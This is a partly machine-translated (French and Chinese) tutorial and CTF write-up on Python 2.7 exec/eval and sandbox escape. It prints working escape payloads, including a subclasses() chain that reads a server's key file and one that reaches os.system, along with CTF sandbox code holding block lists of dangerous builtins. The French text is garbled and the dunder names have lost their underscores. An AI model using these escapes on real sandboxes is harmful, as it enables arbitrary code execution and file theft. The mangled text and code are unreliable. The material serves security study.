Analyse des problèmes d'échappement du bac à sable Python

[TOC]
(Basé sur Python 2.7)
Avant de résoudre le problème de l'échappement du bac à sable Python, vous devez comprendre certains détails de la syntaxe en Python. Si vous savez déjà utiliser la fonction eval , vous pouvez sauter la première et la deuxième parties et regarder directement 3x00.

0x00 L'exécution de l'expression

permet d'exécuter le contenu d'une expression, ce qui peut être fait en utilisant exec ou eval.

0x01 exec

exec_stmt:    "exec" expression ["in" expression ["," expression]]

Où, ["in" expression ["," expression]] est une expression facultative.

1, Operate code/String

exec "x = 1+1"
print x
#result:
#2

exec "x = 'a' + '42'"
print x
#result:
#a42

Vous pouvez également exécuter plusieurs lignes de code, entourées de trois guillemets :

a = 0
exec"""for _ in range(input()):
        a += 1
"""
print a

2, opération de fichier

execfichier

D'une part, vous pouvez utiliser execfile, sa fonction est d'exécuter le contenu de ce fichier

#Desktop/pytest.txt
print 'Gou Li Guo Jia Sheng Si Yi'

#Desktop/pytest.py
execfile(r'C:\Users\Think\Desktop\pytest.txt')

est : pytest.py

Gou Li Guo Jia Sheng Si Yi

exécute le contenu dans execfile Notez que pytest.txt exécute . et Non- lit Si le contenu de est pytest.txt, aucune sortie ne sera obtenue. 'Gou Li Guo Jia Sheng Si Yi'Bien sûr, exécuter un fichier .py est également possible. La condition requise pour exécuter le fichier .txt est que le contenu du fichier txt soit ASCII. Il est préférable d'exécuter un fichier .py plutôt qu'un fichier txt.

Ce type d'exécution

copie execfile directement le contenu du fichier pointé par . Par exemple :

#C:/Users/Think/Desktop/Mo.py
#coding:utf-8
a = 2
print '稻花香里说丰年，听取蛤声一片'

#C:/Users/Think/Desktop/pytest.py
a = 3
execfile(r'C:\Users\Think\Desktop\Mo.py')
print a

A ce moment, le résultat de pytest est :

稻花香里说丰年，听取蛤声一片
2

En fait, il s'agit d'exécuter complètement le contenu du fichier ... plutôt que de le traiter comme un appel de fonction à exécuter.

Utilisez exec directement pour opérer

Utilisez exec directement, qui est également le contenu du fichier exécutable, mais vous pouvez utiliser l'expression

pour utiliser la variable Globale in domaine.

#C:\Users\Think\Desktop\test1.txt
print poetry

#pytest.py
result={'poetry':'苟利国家生死以'}
exec open(r'C:\Users\Think\Desktop\test1.txt') in result

3, l'utilisation du tuple

b = 42
tup1 = (123,456,111)
exec "b = tup1[2]"
print b

Le résultat de sortie est

111

Comment utiliser les paramètres globaux/locaux de exec

prend en charge deux paramètres facultatifs et ne prend pas en charge les paramètres spécifiés par mot-clé. execPython adopte la règle de portée
statique (portée lexicale), similaire à C. La variable est disponible dans la fonction et n'est pas disponible en dehors de la fonction. En langage Pascal, la portée dynamique est utilisée, c'est-à-dire que la variable existera une fois la fonction exécutée. Par exemple, une fonction
est imbriquée dans la fonction g Lorsque le programme s'exécute sur f, il recherchera les variables dans l'expression dans f. dans la couche externe. À ce stade, , utilisez cette variable. Si elle n'existe pas, continuez la recherche vers l'extérieur couche par couche. fIl convient de noter que g
est une déclaration grammaticale, pas une fonction, et est une fonction exec. execfileLa raison est la suivante : Imprimer les variables externes directement dans
:
exec

b = 42
tup1 = (123,456,111)
exec "print tup1[1]"
#结果为 456

Imprimer les variables externes dans une fonction :

b = 42
tup1 = (123,456,111)
def pr():
    print tup[1]

pr()

#结果：
#NameError: global name 'tup' is not defined

Règle LEGB

Le paramètre globals dans exec

exec_stmt:    "exec" expression ["in" expression ["," expression]]

est le

globalsobjetdict, qui Les variables globales requises dans sont spécifiées. exec

• est équivalent à

  globlasglobals()

• est équivalent à la valeur du paramètre

  locals globals

1,globals

Dans le segment de code, la valeur dans

#coding:utf-8
k = {'b':42}
exec ("a = b + 1",k)
print k['a'],k['b']
#结果：
#43 42

est

, qui provient du exec spécifié, c'est-à-dire locals.kEt, globalsles globales sont extraites des variables globales et agissent sur les variables globales
. 2, locaux

Comparaison :

g = {'b':100}
exec("""age = b + a
print age
     """,g,{'a':1})
#结果：
#101

Vous pouvez voir que par rapport à

g = {'b':100,'a':2}
exec("""age = b + a
print age
     """,g,{'a':1})

#结果：
#101

, il a trois variables internes, à savoir l'âge, b, a

Après formulation, b vient de g (global), et a vient de la variable locale personnalisée. execOn voit que
local est extrait de la variable locale et agit sur la variable locale
. Afin de vérifier cette conclusion, modifiez légèrement :

Comme vous pouvez le constater,

g = {'b':100}
exec("""age = b + a
print age
     """,g,{'a':1})

print g['a']
#结果：
#101
# print g['a']
#KeyError: 'a'

n'affecte pas le dictionnaire

(global), et comme mentionné dans la première section ci-dessus Dans a, la valeur clé g a été renseignée dans le dictionnaire global globals.agexec utilise la conclusion

pour faire la

conclusion

suivante : Nous divisons le contenu après en trois parties : p1, p2, p3
exec

exec ("""p1""",p2,p3)

La première partie
1. , le contenu est : Contenu d'exécution <; 🎜>

2. 第二部分p2，其中的内容来自全局变量，会在上一个变量作用域当中寻找对应的值，并将其传递给表达式，如果不存在p3，p1中的结果会传回全局变量；

3. 第三部分p3，其中的内容是局部的，将用户在其中自设的局部值传递给p1，并且在局部中生效，如果在外部引用此处用到的值将会报错。

exec 反汇编

#use `exec` source code
import dis
def exec_diss():
    exec "x=3"

dis.dis(exec_diss)

# use `exec` disassembly
 4           0 LOAD_CONST               1 ('x=3')
              3 LOAD_CONST               0 (None)
              6 DUP_TOP             
              7 EXEC_STMT           
              8 LOAD_CONST               0 (None)
             11 RETURN_VALUE

#not use `exec` scource code
import dis
def exec_diss():
    x=3

dis.dis(exec_diss)

#not use exec disassembly
 3           0 LOAD_CONST               1 (3)
              3 STORE_FAST               0 (x)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE

指令解释在这里：http://www.php.cn/
简要说明下，TOS 是top-of-stack,就是栈顶。
LOAD_CONST是入栈，RETURN_VALUE 是还原esp。
其中两者的不同之处在于:

# use `exec` disassembly
6 DUP_TOP             #复制栈顶指针
7 EXEC_STMT     #执行 `exec TOS2,TOS1,TOS`,不存在的填充 `none`

也就是说，def函数是将变量入栈，然后调用时就出栈返回；而使用了exec之后，除了正常的入栈流程外，程序还会将栈顶指针复制一遍，然后开始执行exec的内容。

0x02 eval

eval用以动态执行其后的代码，并返回执行后得到的值。

eval(expression[, globals[, locals]])

eval也有两个可选参数，即 globals 、locals
使用如下：

print eval("1+1")
#result:
#2

eval 的 globals / locals 参数的使用方法

1，globals
类似于 exec:

g = {'a':1}
print eval("a+1",g)

#result:
#2

2，locals

k = {'b':42}
print eval ("b+c",k,{'c':2})
#result:
#44

eval反汇编

#use_eval
import dis
def eval_dis():
    eval ("x = 3")

dis.dis(eval_dis)

#use_eval_disassembly
 3           0 LOAD_GLOBAL              0 (eval)
              3 LOAD_CONST               1 ('x = 3')
              6 CALL_FUNCTION            1
              9 POP_TOP             
             10 LOAD_CONST               0 (None)
             13 RETURN_VALUE

比较：

#not_use_eval
import dis
def no_eval_dis():
    x = 3

dis.dis(no_eval_dis)

#not_use_eval_disassembly
 3           0 LOAD_CONST               1 (3)
              3 STORE_FAST               0 (x)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE

同样是建栈之后执行。

1x00 exec 和 eval 的区别

exec无返回值：

exec ("print 1+1")
#result:
#2

如果改成

print exec("1+1")

这就会因为没有返回值（不存在该变量而报错）。
而 eval 是有返回值的：

eval ("print 1+1")
#result:
#SyntaxError: invalid syntax

如果想要打印，则必须在 eval之前使用print。
但是奇怪的是，为什么 exec 反汇编出的内容当中，也会有一个RETURN_VALUE 呢？

1x01确定RETURN_VALUE来源

为了确定这个RETURN_VALUE究竟是受到哪一部分的影响，可以改动一下之前的代码，

import dis
def exec_diss():
    exec "x=3"
    return 0

dis.dis(exec_diss)

3           0 LOAD_CONST               1 ('x=3')
              3 LOAD_CONST               0 (None)
              6 DUP_TOP             
              7 EXEC_STMT           

  4           8 LOAD_CONST               2 (0)
             11 RETURN_VALUE

对比eval的：

import dis
def eval_diss():
    eval ("3")
    return 0

dis.dis(eval_diss)

  3           0 LOAD_GLOBAL              0 (eval)
              3 LOAD_CONST               1 ('3')
              6 CALL_FUNCTION            1
              9 POP_TOP             

  4          10 LOAD_CONST               2 (0)
             13 RETURN_VALUE

对比 eval和exec之后，会发现exec使用的是DUP_TOP(),而eval使用的是POP_TOP，前者是复制 TOS，后者是推出TOS。
在 C++ 反汇编当中，会发现对函数调用的最后会有 POP ebp,这是函数执行完之后的特征。在 Python 中，eval就是一种函数，exec是表达式。这也解释了之前说的eval有返回值而exec无返回值的原因。
而最后的 RETURN_VALUE，很明显可以看出并非eval或exec的影响，而是 Python 中每一个程序执行完之后的正常返回（如同 C++ 中的 return 0）。
可以写段不包含这两者的代码来验证：

import dis
def no():
    a = 1+1

dis.dis(no)

  3           0 LOAD_CONST               2 (2)
              3 STORE_FAST               0 (a)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE

所以，RETURN_VALUE是每个程序正常运行时就有的。

2x00 eval 的危险性

2x01 先期知识

在 Python 当中， import可以将一个 Python 内置模块导入，import可以接受字符串作为参数。
调用 os.system()，就可以执行系统命令。在 Windows下，可以这么写：

>>> import('os').system('dir')

或者：

>>> import os
>>> os.system('dir')

也可以达到这个目的。
这两种方法会使得系统执行dir，即文件列出命令，列出文件后，读取其中某个文件的内容，可以:

with open('example.txt') as f:
    s = f.read().replace('\n', '')

print s

如果有一个功能，设计为执行用户所输入的内容，如

print eval("input()")

此时用户输入1+1，那么会得到返回值 2。若前述的

os.system('dir')

则会直接列出用户目录。
但是，从之前学过的可以看到，如果为eval指定一个空的全局变量，那么eval就无法从外部得到 os.system模块，这会导致报错。
然而，可以自己导入这个模块嘛。

import('os').system('dir')

这样就可以继续显示文件了。
如果要避免这一招，可以限定使用指定的内建函数builtins,这将会使得在第一个表达式当中只能采用该模块中的内建函数名称才是合法的，包括：

>>> dir('builtins')
['add', 'class', 'contains', 'delattr', 'doc', 'eq', 'format', 'ge', 'getattribute', 'getitem', 'getnewargs', 'getslice', 'gt', 'hash', 'init', 'le', 'len', 'lt', 'mod', 'mul', 'ne', 'new', 'reduce', 'reduce_ex', 'repr', 'rmod', 'rmul', 'setattr', 'sizeof', 'str', 'subclasshook', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

这样，就可以写成：

eval("input()",{'builtins':{}})

就可以限制其只能使用内置的函数。
同时也可以将内置模块置为None,如：

env = {}
env["locals"]   = None
env["globals"]  = None
eval("input()", env)

但是这种情况下builtions对buitin的引用依然有效。

s = """
(lambda fc=(
    lambda n: [
        c for c in 
            ().class.bases[0].subclasses() 
            if c.name == n
        ][0]
    ):
    fc("function")(
        fc("code")(
            0,0,0,0,"KABOOM",(),(),(),"","",0,""
        ),{}
    )()
)()
"""
eval(s, {'builtins':{}})

(来自：http://www.php.cn/)
为了创建一个<a href="http://www.php.cn/wiki/60.html" target="_blank">object</a>，要通过

().class.bases[0]

bases类当中的第一个 元素就是元组（tuple），而tuple就是一个object.

lambda这一段主要是构造出一个函数，这个函数要跑完 subclasses来寻找一个object。
这是一种情形。总的来说，就是跑一个通过object假的bytecodes.

从上述情况来看，eval是不安全的。

3x00 Python 沙箱逃逸

3x01 第一题

这是一道 CTF 题目,只给了这个：

def make_secure():
    UNSAFE = ['open',
              'file',
              'execfile',
              'compile',
              'reload',
              'import',
              'eval',
              'input']
    for func in UNSAFE:
        del builtins.dict[func]

from re import findall
# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'

while True:
    try:
        # Read user input until the first whitespace character
        inp = findall('\S+', raw_input())[0]
        a = None
        # Set a to the result from executing the user input
        exec 'a=' + inp
        print 'Return Value:', a
    except Exception, e:
    print 'Exception:', e

make_secure这个模块很好理解，看看下边的：

from re import findall

这是 Python 正则表达式的模块。而re.findall可以寻找指定的字符串。
把这一部分单独抽离出来尝试一下：

from re import findall

inp = findall('\S+',raw_input())[0]
a = None
exec 'a = ' +inp
print 'Return Value:',a

运行后输入 1+1,返回结果为2.
构造
之前已经说过可以利用

().class.bases[0].subclasses()

在该题中，主办方搞了个在服务器上的文件，里边有 key，而[40] 是文件，直接就可以了。

().class.bases[0].subclasses()[40]("./key").read()

第二题

#!/usr/bin/env python 
from future import print_function
 
print("Welcome to my Python sandbox! Enter commands below!")
 
banned = [  
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]
 
targets = builtins.dict.keys()  
targets.remove('raw_input')  
targets.remove('print')  
for x in targets:  
    del builtins.dict[x]
 
while 1:  
    print(">>>", end=' ')
    data = raw_input()
 
    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data

[x for x in [].class.base.subclasses() if x.name == 'catch_warnings'][0].init.func_globals['linecache'].dict['o'+'s'].dict['sy'+'stem']('echo Hello SandBox')

4x00 blue-lotus MISC - pyjail Writeup

给了这个：

#!/usr/bin/env python
# coding: utf-8

def del_unsafe():
    UNSAFE_BUILTINS = ['open',
    'file',
    'execfile',
    'compile',
    'reload',
    'import',
    'eval',
    'input'] ## block objet?
    for func in UNSAFE_BUILTINS:
        del builtins.dict[func]

from re import findall
del_unsafe()

print 'Give me your command!'
while True:
    try:
        inp = findall('\S+', raw_input())[0]
        print "inp=", inp
        a = None
        exec 'a=' + inp
        print 'Return Value:', a
    except Exception, e:
        print 'Exception:', e

比较一下和上边的第一题有什么不同，答案是……并没有什么不同……

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!